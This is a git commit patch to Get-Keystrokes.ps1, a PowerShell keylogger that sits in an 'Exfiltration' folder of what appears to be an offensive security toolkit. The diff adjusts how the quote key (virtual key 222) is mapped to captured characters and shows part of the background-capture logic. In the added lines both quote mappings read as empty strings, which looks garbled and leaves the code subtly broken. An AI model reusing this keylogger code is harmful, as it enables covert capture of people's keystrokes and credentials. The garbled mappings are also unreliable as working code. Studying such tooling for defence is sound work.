From d133db696ad364a8387163569325129b0c0b08a3 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Mon, 11 Jan 2016 09:09:48 -0600 Subject: Update Get-Keystrokes.ps1 --- Exfiltration/Get-Keystrokes.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) (limited to 'Exfiltration') diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index d78f9c2..cc6b7a9 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -214,7 +214,7 @@ function Get-Keystrokes { 111 { $Key = "/" } } } - elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 221)) { + elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) { if ($Shift) { switch ($vKey.value__) { # Shiftable characters 48 { $Key = ')' } @@ -237,7 +237,7 @@ function Get-Keystrokes { 219 { $Key = '{' } 220 { $Key = '|' } 221 { $Key = '}' } - 222 { $Key = '"' } + 222 { $Key = '' } } } else { @@ -262,7 +262,7 @@ function Get-Keystrokes { 219 { $Key = '[' } 220 { $Key = '\' } 221 { $Key = ']' } - 222 { $Key = "`'" } + 222 { $Key = '' } } } } @@ -369,4 +369,4 @@ function Get-Keystrokes { [void]$PowerShell.BeginInvoke() if ($Return.IsPresent) { return $PowerShell } -} \ No newline at end of file +} -- cgit v1.2.3